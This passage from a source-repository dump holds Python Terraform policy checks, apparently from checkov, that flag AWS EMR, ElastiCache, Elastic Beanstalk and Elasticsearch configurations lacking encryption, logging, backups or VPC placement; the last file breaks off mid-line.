    "content": "from __future__ import annotations\n\nfrom typing import Any, List\n\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.common.util.data_structures_utils import find_in_dict\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\n\n\nclass EMRClusterConfEncryptsEBS(BaseResourceCheck):\n    def __init__(self) -> None:\n        name = \"Ensure EMR Cluster security configuration encrypts EBS disks\"\n        id = \"CKV_AWS_350\"\n        supported_resources = (\"aws_emr_security_configuration\",)\n        categories = (CheckCategories.ENCRYPTION,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult:\n        security_conf = conf.get(\"configuration\")\n        if security_conf and isinstance(security_conf, list) and isinstance(security_conf[0], dict):\n            encrypt_conf = security_conf[0].get(\"EncryptionConfiguration\")\n            if encrypt_conf and isinstance(encrypt_conf, dict) and encrypt_conf.get(\"EnableAtRestEncryption\") is True:\n                ebs_encrypt = find_in_dict(\n                    input_dict=encrypt_conf,\n                    key_path=\"AtRestEncryptionConfiguration/LocalDiskEncryptionConfiguration/EnableEbsEncryption\",\n                )\n                if ebs_encrypt:\n                    return CheckResult.PASSED\n\n            return CheckResult.FAILED\n\n        return CheckResult.UNKNOWN\n\n    def get_evaluated_keys(self) -> List[str]:\n        return [\n            \"configuration\",\n            \"configuration/[0]/EncryptionConfiguration/AtRestEncryptionConfiguration/LocalDiskEncryptionConfiguration/EnableEbsEncryption\"\n        ]\n\n\ncheck = EMRClusterConfEncryptsEBS()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/EMRClusterConfEncryptsInTransit.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.common.util.data_structures_utils import find_in_dict\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\n\n\nclass EMRClusterConfEncryptsInTransit(BaseResourceCheck):\n    def __init__(self) -> None:\n        name = \"Ensure EMR Cluster security configuration encrypts InTransit\"\n        id = \"CKV_AWS_351\"\n        supported_resources = (\"aws_emr_security_configuration\",)\n        categories = (CheckCategories.ENCRYPTION,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult:\n        security_conf = conf.get(\"configuration\")\n        if security_conf and isinstance(security_conf, list) and isinstance(security_conf[0], dict):\n            transit_encrypt = find_in_dict(\n                input_dict=security_conf[0],\n                key_path=\"EncryptionConfiguration/EnableInTransitEncryption\",\n            )\n            if transit_encrypt:\n                return CheckResult.PASSED\n\n            return CheckResult.FAILED\n\n        return CheckResult.UNKNOWN\n\n    def get_evaluated_keys(self) -> list[str]:\n        return [\"configuration\"]\n\n\ncheck = EMRClusterConfEncryptsInTransit()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/EMRClusterConfEncryptsLocalDisk.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any, List\n\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.common.util.data_structures_utils import find_in_dict\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\n\n\nclass EMRClusterConfEncryptsLocalDisk(BaseResourceCheck):\n    def __init__(self) -> None:\n        name = \"Ensure EMR Cluster security configuration encrypts local disks\"\n        id = \"CKV_AWS_349\"\n        supported_resources = (\"aws_emr_security_configuration\",)\n        categories = (CheckCategories.ENCRYPTION,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult:\n        security_conf = conf.get(\"configuration\")\n        if security_conf and isinstance(security_conf, list) and isinstance(security_conf[0], dict):\n            encrypt_conf = security_conf[0].get(\"EncryptionConfiguration\")\n            if encrypt_conf and isinstance(encrypt_conf, dict) and encrypt_conf.get(\"EnableAtRestEncryption\") is True:\n                local_encrypt = find_in_dict(\n                    input_dict=encrypt_conf,\n                    key_path=\"AtRestEncryptionConfiguration/LocalDiskEncryptionConfiguration\",\n                )\n                if local_encrypt:\n                    return CheckResult.PASSED\n\n            return CheckResult.FAILED\n\n        return CheckResult.UNKNOWN\n\n    def get_evaluated_keys(self) -> List[str]:\n        return [\n            \"configuration\",\n            \"configuration/[0]/EncryptionConfiguration/AtRestEncryptionConfiguration/LocalDiskEncryptionConfiguration/EnableAtRestEncryption\"\n        ]\n\n\ncheck = EMRClusterConfEncryptsLocalDisk()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/EMRClusterIsEncryptedKMS.py",
    "content": "from typing import List\n\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\n\n\nclass EMRClusterIsEncryptedKMS(BaseResourceCheck):\n    def __init__(self):\n        name = \"Ensure EMR Cluster security configuration encryption is using SSE-KMS\"\n        id = \"CKV_AWS_171\"\n        supported_resources = ['aws_emr_security_configuration']\n        categories = [CheckCategories.ENCRYPTION]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf):\n        if 'configuration' not in conf:\n            return CheckResult.UNKNOWN\n        configuration = conf['configuration'][0]\n        if \"SSE-KMS\" in str(configuration):\n            return CheckResult.PASSED\n        return CheckResult.FAILED\n\n    def get_evaluated_keys(self) -> List[str]:\n        return [\"configuration/[0]/SSE-KMS\"]\n\n\ncheck = EMRClusterIsEncryptedKMS()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/EMRClusterKerberosAttributes.py",
    "content": "from typing import Dict, List, Any\n\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\n\n\nclass EMRClusterKerberosAttributes(BaseResourceCheck):\n    def __init__(self) -> None:\n        name = \"Ensure that EMR clusters with Kerberos have Kerberos Realm set\"\n        id = \"CKV_AWS_114\"\n        supported_resources = [\"aws_emr_cluster\"]\n        categories = [CheckCategories.GENERAL_SECURITY]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: Dict[str, List[Any]]) -> CheckResult:\n        if \"kerberos_attributes\" not in conf:\n            return CheckResult.UNKNOWN\n        kerberos_attributes = conf[\"kerberos_attributes\"][0]\n        if kerberos_attributes and \"realm\" in kerberos_attributes:\n            return CheckResult.PASSED\n        return CheckResult.FAILED\n\n    def get_evaluated_keys(self) -> List[str]:\n        return [\"kerberos_attributes/[0]/realm\"]\n\n\ncheck = EMRClusterKerberosAttributes()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/EMRPubliclyAccessible.py",
    "content": "from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckCategories\n\n\nclass EMRPubliclyAccessible(BaseResourceValueCheck):\n\n    def __init__(self):\n        name = \"Ensure AWS EMR block public access setting is enabled\"\n        id = \"CKV_AWS_390\"\n        supported_resources = ['aws_emr_block_public_access_configuration']\n        categories = [CheckCategories.NETWORKING]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return \"block_public_security_group_rules\"\n\n\ncheck = EMRPubliclyAccessible()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/Ec2TransitGatewayAutoAccept.py",
    "content": "\nfrom checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_negative_value_check import BaseResourceNegativeValueCheck\n\n\nclass Ec2TransitGatewayAutoAccept(BaseResourceNegativeValueCheck):\n    def __init__(self):\n        \"\"\"\n        NIST.800-53.r5 AC-4(21), NIST.800-53.r5 CA-9(1), NIST.800-53.r5 CM-2\n        EC2 Transit Gateways should not automatically accept VPC attachment requests\n        \"\"\"\n        name = \"Ensure Transit Gateways do not automatically accept VPC attachment requests\"\n        id = \"CKV_AWS_331\"\n        supported_resources = ['aws_ec2_transit_gateway']\n        categories = [CheckCategories.GENERAL_SECURITY]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return 'auto_accept_shared_attachments'\n\n    def get_forbidden_values(self):\n        return \"enable\"\n\n\ncheck = Ec2TransitGatewayAutoAccept()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/ElastiCacheHasCustomSubnet.py",
    "content": "from typing import Any\n\nfrom checkov.common.models.consts import ANY_VALUE\nfrom checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass ElastiCacheHasCustomSubnet(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        \"\"\"\n        NIST.800-53.r5 AC-4, NIST.800-53.r5 AC-4(21), NIST.800-53.r5 SC-7, NIST.800-53.r5 SC-7(11),\n        NIST.800-53.r5 SC-7(16), NIST.800-53.r5 SC-7(21), NIST.800-53.r5 SC-7(4), NIST.800-53.r5 SC-7(5)\n        ElastiCache clusters should not use the default subnet group\n        \"\"\"\n        name = \"Ensure ElastiCache clusters do not use the default subnet group\"\n        id = \"CKV_AWS_323\"\n        supported_resources = (\"aws_elasticache_cluster\",)\n        categories = (CheckCategories.NETWORKING,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"subnet_group_name\"\n\n    def get_expected_value(self) -> Any:\n        return ANY_VALUE\n\n\ncheck = ElastiCacheHasCustomSubnet()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/ElasticBeanstalkUseEnhancedHealthChecks.py",
    "content": "from typing import List\n\nfrom checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\n\n\nclass ElasticBeanstalkUseEnhancedHealthChecks(BaseResourceCheck):\n    def __init__(self) -> None:\n        \"\"\"\n        NIST.800-53.r5 CA-7, NIST.800-53.r5 SI-2\n        \"\"\"\n        name = \"Ensure Elastic Beanstalk environments have enhanced health reporting enabled\"\n        id = \"CKV_AWS_312\"\n        supported_resources = ('aws_elastic_beanstalk_environment',)\n        categories = (CheckCategories.GENERAL_SECURITY,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf):\n        settings = conf.get(\"setting\")\n        if settings and isinstance(settings, list):\n            if isinstance(settings[0], list):\n                settings = settings[0]\n            for setting in settings:\n                namespace = setting.get(\"namespace\")\n                if isinstance(namespace, list) and namespace[0] == \"aws:elasticbeanstalk:healthreporting:system\":\n                    name = setting.get(\"name\")\n                    if isinstance(name, list) and name[0] == \"HealthStreamingEnabled\":\n                        value = setting.get(\"value\")\n                        if value and isinstance(value, list):\n                            value = value[0]\n                            if value == \"True\" or (value and isinstance(value, bool)):\n                                return CheckResult.PASSED\n        return CheckResult.FAILED\n\n    def get_evaluated_keys(self) -> List[str]:\n        return [\"setting\"]\n\n\ncheck = ElasticBeanstalkUseEnhancedHealthChecks()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/ElasticBeanstalkUseManagedUpdates.py",
    "content": "from checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\n\n\nclass ElasticBeanstalkUseManagedUpdates(BaseResourceCheck):\n    def __init__(self) -> None:\n        \"\"\"\n        NIST.800-53.r5 SI-2, NIST.800-53.r5 SI-2(2), NIST.800-53.r5 SI-2(4), NIST.800-53.r5 SI-2(5)\n        Elastic Beanstalk managed platform updates should be enabled\n        \"\"\"\n        name = \"Ensure Elastic Beanstalk managed platform updates are enabled\"\n        id = \"CKV_AWS_340\"\n        supported_resources = ('aws_elastic_beanstalk_environment',)\n        categories = (CheckCategories.GENERAL_SECURITY,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf):\n        settings = conf.get(\"setting\")\n        if settings and isinstance(settings, list):\n            if isinstance(settings[0], list):\n                settings = settings[0]\n            for setting in settings:\n                namespace = setting.get(\"namespace\")\n                if isinstance(namespace, list) and namespace[0] == \"aws:elasticbeanstalk:managedactions\":\n                    name = setting.get(\"name\")\n                    if isinstance(name, list) and name[0] == \"ManagedActionsEnabled\":\n                        value = setting.get(\"value\")\n                        if value and isinstance(value, list):\n                            value = value[0]\n                            if value == \"True\" or (value and isinstance(value, bool)):\n                                return CheckResult.PASSED\n        return CheckResult.FAILED\n\n    def get_evaluated_keys(self):\n        return [\"setting\"]\n\n\ncheck = ElasticBeanstalkUseManagedUpdates()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/ElasticCacheAutomaticBackup.py",
    "content": "from checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.terraform.checks.resource.base_resource_negative_value_check import BaseResourceNegativeValueCheck\n\n\nclass ElasticCacheAutomaticBackup(BaseResourceNegativeValueCheck):\n    def __init__(self):\n        name = \"Ensure that Amazon ElastiCache Redis clusters have automatic backup turned on\"\n        id = \"CKV_AWS_134\"\n        supported_resources = [\"aws_elasticache_cluster\"]\n        categories = [CheckCategories.BACKUP_AND_RECOVERY]\n        super().__init__(\n            name=name,\n            id=id,\n            categories=categories,\n            supported_resources=supported_resources,\n            missing_attribute_result=CheckResult.FAILED,\n        )\n\n    def scan_resource_conf(self, conf):\n        if conf.get(\"engine\") == [\"memcached\"]:\n            return CheckResult.UNKNOWN\n\n        return super().scan_resource_conf(conf)\n\n    def get_inspected_key(self):\n        return \"snapshot_retention_limit\"\n\n    def get_forbidden_values(self):\n        return [0]\n\n\ncheck = ElasticCacheAutomaticBackup()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/ElasticCacheAutomaticMinorUpgrades.py",
    "content": "from checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass ElasticCacheAutomaticMinorUpgrades(BaseResourceValueCheck):\n    def __init__(self):\n        \"\"\"\n        NIST.800-53.r5 SI-2, NIST.800-53.r5 SI-2(2), NIST.800-53.r5 SI-2(4), NIST.800-53.r5 SI-2(5)\n        ElastiCache for Redis cache clusters should have auto minor version upgrades enabled\n        \"\"\"\n        name = \"Ensure ElastiCache for Redis cache clusters have auto minor version upgrades enabled\"\n        id = \"CKV_AWS_322\"\n        supported_resources = [\"aws_elasticache_cluster\"]\n        categories = [CheckCategories.GENERAL_SECURITY]\n        super().__init__(\n            name=name,\n            id=id,\n            categories=categories,\n            supported_resources=supported_resources,\n            missing_block_result=CheckResult.PASSED\n        )\n\n    def scan_resource_conf(self, conf):\n        if conf.get(\"engine\") == [\"memcached\"]:\n            return CheckResult.UNKNOWN\n\n        return super().scan_resource_conf(conf)\n\n    def get_inspected_key(self):\n        return \"auto_minor_version_upgrade\"\n\n\ncheck = ElasticCacheAutomaticMinorUpgrades()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/ElasticacheHasSecurityGroup.py",
    "content": "from checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\n\n\nclass ElasticacheHasSecurityGroup(BaseResourceCheck):\n    def __init__(self):\n        name = \"Ensure no aws_elasticache_security_group resources exist\"\n        id = \"CKV_AWS_196\"\n        supported_resources = ['aws_elasticache_security_group']\n        categories = [CheckCategories.NETWORKING]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf):\n        # this resource should not exist - ElastiCache Security Groups are for use only\n        # when working with an ElastiCache cluster outside of a VPC.\n        return CheckResult.FAILED\n\n\ncheck = ElasticacheHasSecurityGroup()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/ElasticacheReplicationGroupEncryptedWithCMK.py",
    "content": "from checkov.common.models.consts import ANY_VALUE\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckCategories\n\n\nclass ElasticacheReplicationGroupEncryptedWithCMK(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure ElastiCache replication group is encrypted by KMS using a customer managed Key (CMK)\"\n        id = \"CKV_AWS_191\"\n        supported_resources = ['aws_elasticache_replication_group']\n        categories = [CheckCategories.ENCRYPTION]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return \"kms_key_id\"\n\n    def get_expected_value(self):\n        return ANY_VALUE\n\n\ncheck = ElasticacheReplicationGroupEncryptedWithCMK()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/ElasticacheReplicationGroupEncryptionAtRest.py",
    "content": "from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckCategories\n\n\nclass ElasticacheReplicationGroupEncryptionAtRest(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure all data stored in the ElastiCache Replication Group is securely encrypted at rest\"\n        id = \"CKV_AWS_29\"\n        supported_resources = ['aws_elasticache_replication_group']\n        categories = [CheckCategories.ENCRYPTION]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return \"at_rest_encryption_enabled\"\n\n\ncheck = ElasticacheReplicationGroupEncryptionAtRest()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/ElasticacheReplicationGroupEncryptionAtTransit.py",
    "content": "from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckCategories\n\n\nclass ElasticacheReplicationGroupEncryptionAtTransit(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure all data stored in the ElastiCache Replication Group is securely encrypted at transit\"\n        id = \"CKV_AWS_30\"\n        supported_resources = ['aws_elasticache_replication_group']\n        categories = [CheckCategories.ENCRYPTION]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return \"transit_encryption_enabled\"\n\n\ncheck = ElasticacheReplicationGroupEncryptionAtTransit()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/ElasticacheReplicationGroupEncryptionAtTransitAuthToken.py",
    "content": "from checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\nfrom typing import List\n\n\nclass ElasticacheReplicationGroupEncryptionAtTransitAuthToken(BaseResourceCheck):\n    def __init__(self):\n        name = \"Ensure all data stored in the ElastiCache Replication Group is securely encrypted at transit and has auth token\"\n        id = \"CKV_AWS_31\"\n        supported_resources = ['aws_elasticache_replication_group']\n        categories = [CheckCategories.ENCRYPTION]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf):\n        \"\"\"\n            Looks for encryption configuration at aws_elasticache_replication_group:\n            https://www.terraform.io/docs/providers/aws/r/elasticache_replication_group.html\n        :param conf: aws_elasticache_replication_group configuration\n        :return: <CheckResult>\n        \"\"\"\n        if \"transit_encryption_enabled\" in conf.keys() and conf[\"transit_encryption_enabled\"][0] \\\n                and (\"auth_token\" in conf.keys() or \"user_group_ids\" in conf.keys()):\n            return CheckResult.PASSED\n        return CheckResult.FAILED\n\n    def get_evaluated_keys(self) -> List[str]:\n        return ['transit_encryption_enabled', 'auth_token']\n\n\ncheck = ElasticacheReplicationGroupEncryptionAtTransitAuthToken()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/ElasticsearchDefaultSG.py",
    "content": "from checkov.common.models.consts import ANY_VALUE\nfrom checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass ElasticsearchDefaultSG(BaseResourceValueCheck):\n\n    def __init__(self):\n        \"\"\"\n        If an ES cluster is does not have its Security group specified it tries to use the default SG\n        and that can never be right.\n        \"\"\"\n        name = \"Ensure that Elasticsearch is not using the default Security Group\"\n        id = \"CKV_AWS_248\"\n        supported_resources = ['aws_elasticsearch_domain', 'aws_opensearch_domain']\n        categories = [CheckCategories.NETWORKING]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return \"vpc_options/[0]/security_group_ids\"\n\n    def get_expected_value(self):\n        return ANY_VALUE\n\n\ncheck = ElasticsearchDefaultSG()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/ElasticsearchDomainAuditLogging.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\nfrom checkov.common.models.enums import CheckCategories, CheckResult\n\n\nclass ElasticsearchDomainAuditLogging(BaseResourceCheck):\n    def __init__(self) -> None:\n        name = \"Ensure Elasticsearch Domain Audit Logging is enabled\"\n        id = \"CKV_AWS_317\"\n        supported_resources = (\"aws_elasticsearch_domain\", \"aws_opensearch_domain\")\n        categories = (CheckCategories.LOGGING,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult:\n        options = conf.get(\"log_publishing_options\")\n        if options and isinstance(options, list):\n            for option in options:\n                if isinstance(option, dict):\n                    log_type = option.get(\"log_type\")\n                    if log_type and isinstance(log_type, list) and log_type[0] == \"AUDIT_LOGS\":\n                        enabled = option.get(\"enabled\")\n                        if enabled and isinstance(enabled, list) and enabled[0]:\n                            return CheckResult.PASSED\n\n        return CheckResult.FAILED\n\n    def get_evaluated_keys(self) -> list[str]:\n        return [\"log_publishing_options\"]\n\n\ncheck = ElasticsearchDomainAuditLogging()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/ElasticsearchDomainEnforceHTTPS.py",
    "content": "from checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass ElasticsearchDomainEnforceHTTPS(BaseResourceValueCheck):\n\n    def __init__(self):\n        name = \"Ensure Elasticsearch Domain enforces HTTPS\"\n        id = \"CKV_AWS_83\"\n        supported_resources = ['aws_elasticsearch_domain', 'aws_opensearch_domain']\n        categories = [CheckCategories.GENERAL_SECURITY]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources,\n                         missing_block_result=CheckResult.PASSED)\n\n    def get_inspected_key(self):\n        return \"domain_endpoint_options/[0]/enforce_https\"\n\n\ncheck = ElasticsearchDomainEnforceHTTPS()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/ElasticsearchDomainHA.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\nfrom checkov.common.models.enums import CheckCategories, CheckResult\n\n\nclass ElasticsearchDomainHA(BaseResourceCheck):\n    def __init__(self) -> None:\n        \"\"\"NIST.800-53.r5 CP-10, NIST.800-53.r5 CP-6(2), NIST.800-53.r5 SC-36, NIST.800-53.r5 SC-5(2),\n         NIST.800-53.r5 SI-13(5)\n        Elasticsearch domains should be configured with at least three dedicated master nodes\"\"\"\n        name = \"Ensure Elasticsearch domains are configured with at least three dedicated master nodes for HA\"\n        id = \"CKV_AWS_318\"\n        supported_resources = (\"aws_elasticsearch_domain\", \"aws_opensearch_domain\")\n        categories = (CheckCategories.GENERAL_SECURITY,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult:\n        self.evaluated_keys = [\"cluster_config\"]\n        config = conf.get(\"cluster_config\")\n        if config and isinstance(config, list):\n            master_count = config[0].get(\"dedicated_master_count\")\n            if (\n                master_count\n                and isinstance(master_count, list)\n                and isinstance(master_count[0], int)\n                and master_count[0] >= 3\n            ):\n                zone_awareness = config[0].get(\"zone_awareness_enabled\")\n                if zone_awareness and isinstance(zone_awareness, list) and zone_awareness[0]:\n                    return CheckResult.PASSED\n\n        return CheckResult.FAILED\n\n\ncheck = ElasticsearchDomainHA()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/ElasticsearchDomainLogging.py",
    "content": "from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.common.models.consts import ANY_VALUE\n\n\nclass ElasticsearchDomainLogging(BaseResourceValueCheck):\n\n    def __init__(self):\n        name = \"Ensure Elasticsearch Domain Logging is enabled\"\n        id = \"CKV_AWS_84\"\n        supported_resources = ['aws_elasticsearch_domain', 'aws_opensearch_domain']\n        categories = [CheckCategories.LOGGING]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return \"log_publishing_options/[0]/cloudwatch_log_group_arn\"\n\n    def scan_resource_conf(self, conf):\n        if conf.get(\"log_publishing_options\") and isinstance(conf.get(\"log_publishing_options\"), list):\n            option = conf.get(\"log_publishing_options\")[0]\n            if isinstance(option, dict) and option.get('cloudwatch_log_group_arn'):\n                if option.get('enabled') == [False]:\n                    self.evaluated_keys = [\"log_publishing_options/[0]/enabled\"]\n                    return CheckResult.FAILED\n            return CheckResult.PASSED\n        self.evaluated_keys = [\"log_publishing_options\"]\n        return CheckResult.FAILED\n\n    def get_expected_value(self):\n        return ANY_VALUE\n\n\ncheck = ElasticsearchDomainLogging()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/ElasticsearchEncryption.py",
    "content": "from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckCategories\n\n\nclass ElasticsearchEncryption(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure all data stored in the Elasticsearch is securely encrypted at rest\"\n        id = \"CKV_AWS_5\"\n        supported_resources = ('aws_elasticsearch_domain', 'aws_opensearch_domain')\n        categories = (CheckCategories.ENCRYPTION,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"encrypt_at_rest/[0]/enabled\"\n\n\ncheck = ElasticsearchEncryption()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/ElasticsearchEncryptionWithCMK.py",
    "content": "from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckCategories\nfrom checkov.common.models.consts import ANY_VALUE\n\n\nclass ElasticsearchEncryptionWithCMK(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure all data stored in the Elasticsearch is encrypted with a CMK\"\n        id = \"CKV_AWS_247\"\n        supported_resources = ('aws_elasticsearch_domain', 'aws_opensearch_domain')\n        categories = (CheckCategories.ENCRYPTION,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"encrypt_at_rest/[0]/kms_key_id\"\n\n    def get_expected_value(self):\n        return ANY_VALUE\n\n\ncheck = ElasticsearchEncryptionWithCMK()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/ElasticsearchInVPC.py",
    "content": "from checkov.common.models.consts import ANY_VALUE\nfrom checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass ElasticsearchInVPC(BaseResourceValueCheck):\n\n    def __init__(self):\n        name = \"Ensure that Elasticsearch is configured inside a VPC\"\n        id = \"CKV_AWS_137\"\n        supported_resources = ['aws_elasticsearch_domain', 'aws_opensearch_domain']\n        categories = [CheckCategories.NETWORKING]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return \"vpc_options\"\n\n    def get_expected_value(self):\n        return ANY_VALUE\n\n\ncheck = ElasticsearchInVPC()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/ElasticsearchNodeToNodeEncryption.py",
    "content": "from checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\n\n\nclass ElasticsearchNodeToNodeEncryption(BaseResourceCheck):\n    def __init__(self):\n        name = \"Ensure all Elasticsearch has node-to-node encryption enabled\"\n        id = \"CKV_AWS_6\"\n        supported_resources = ['aws_elasticsearch_domain', 'aws_opensearch_domain']\n        categories = [CheckCategories.ENCRYPTION]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf):\n        \"\"\"\n            Looks for node to node encryption configuration at aws_elasticsearch_domain:\n            https://www.terraform.io/docs/providers/aws/r/elasticsearch_domain.html\n            and https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/opensearch_domain\n        :param conf: aws_elasticsearch_domain configuration\n        :return: <CheckResult>\n        \"\"\"\n        self.evaluated_keys = ['cluster_config']\n        cluster_config = conf.get(\"cluster_config\")\n        if not cluster_config or not isinstance(cluster_config[0], dict):\n            return CheckResult.PASSED\n        if \"instance_count\" not in cluster_config[0]:\n            return CheckResult.PASSED\n\n        self.evaluated_keys = ['cluster_config/[0]/instance_count']\n        instance_count = cluster_config[0][\"instance_count\"]\n        if isinstance(instance_count, list):\n            instance_count = instance_count[0]\n            if not isinstance(instance_count, int):\n                return CheckResult.UNKNOWN\n        if not instance_count:\n            return CheckResult.UNKNOWN\n        if isinstance(instance_count, int) and instance_count <= 1:\n            return CheckResult.PASSED\n\n        self.evaluated_keys.append('node_to_node_encryption/[0]/enabled')\n        if \"node_to_node_encryption\" in conf.keys() and \"enabled\" in conf[\"node_to_node_encryption\"][0]:\n            n2n_enc_enabled = conf[\"node_to_node_encryption\"][0][\"enabled\"]\n            if isinstance(n2n_enc_enabled, list):\n                n2n_enc_enabled = conf[\"node_to_node_encryption\"][0][\"enabled\"][0]\n            if not 